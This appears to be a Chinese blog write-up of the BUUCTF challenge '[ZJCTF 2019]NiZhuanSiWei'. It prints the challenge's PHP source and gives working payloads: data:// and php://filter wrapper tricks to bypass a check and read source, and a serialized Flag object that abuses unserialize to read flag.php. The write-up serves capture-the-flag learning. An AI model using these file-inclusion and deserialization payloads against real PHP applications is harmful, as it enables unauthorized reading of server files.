BUUCTF [ZJCTF 2019]NiZhuanSiWei特详解(php伪协议+序列化与反序列化)

[ZJCTF 2019]NiZhuanSiWei

解题过程

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){      
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

一、 PHP file_get_contents() 函数详解

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

要求我们传入一个text文件,内容为welcome to the zjctf,我们可以使用PHP伪协议中的php://input【将post请求中的数据作为PHP代码执行】或者data://【写入协议】。

?text=data://text/plain,welcome to the zjctf

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=  //使用base64编码

在这里插入图片描述
二、

if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

PHP preg_match()函数详解

执行正则表达式匹配,文件中不能出现flag。我们先尝试直接访问useless.php,依然为题目一开始点开的源码。
在这里插入图片描述
我们有看到useless.php文件包含,在这之前我们需要先使用filter协议读取里面的源码,然后将password反序列化出来,这需要我们使用序列化来还原password

/?file=php://filter/read=convert.base64-encode/resource=useless.php

/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

在这里插入图片描述
、得到一段base64编码后,解密得

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

PHP在线工具中进行序列化操作

<?php
 
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>

或者

<?php
 
class Flag{  //flag.php  
    public $file="flag.php";    
 }  
echo serialize(new Flag);
?>

在这里插入图片描述

得到

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

这里的O是对象的意思,表示变量类型;
4为类名长度;
调用了名为flag的类;
1为属性数量(类的变量个数);
{属性类型,属性名长度,属性名;属性类型,属性名长度,属性名}

最终的payload

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在这里插入图片描述
查看网页源码后得到flag在这里插入图片描述

序列化与反序列化

序列化和反序列化的定义:

Java序列化就是指把Java对象转换为字节序列的过程
Java反序列化就是指把字节序列恢复为Java对象的过程。

序列化最重要的作用:在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。

反序列化的最重要的作用:根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。

总结:核心作用就是对象状态的保存和重建。(整个过程核心点就是字节流中所保存的对象状态及描述信息)

练习

pikachu漏洞练习平台(PHP序列化反序列化)

POC、EXP、Payload与Shellcode

渗透中POC、EXP、Payload与Shellcode的区别

  • 6
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

poggioxay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值